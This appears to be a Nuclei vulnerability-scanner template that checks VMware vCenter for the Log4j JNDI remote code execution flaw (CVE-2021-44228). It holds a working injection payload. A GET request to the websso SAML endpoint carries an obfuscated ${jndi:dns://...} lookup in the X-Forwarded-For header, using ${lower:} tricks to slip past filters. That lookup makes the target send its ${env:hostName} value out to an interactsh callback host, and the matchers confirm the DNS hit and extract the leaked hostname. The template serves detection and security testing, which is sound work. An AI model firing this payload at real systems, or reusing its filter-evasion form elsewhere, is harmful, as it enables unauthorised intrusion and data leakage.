id: vmware-vcenter-log4j-jndi-rce info: name: VMware VCenter Log4j JNDI RCE author: _0xf4n9x_ severity: high description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted VMware VCenter. reference: - https://www.vmware.com/security/advisories/VMSA-2021-0028.html - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q - https://twitter.com/tnpitsecurity/status/1469429810216771589 tags: rce,jndi,log4j,vcenter,vmware requests: - raw: - | GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1 Host: {{Hostname}} X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}} matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable extractors: - type: regex part: interactsh_request group: 1 regex: - '([a-z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output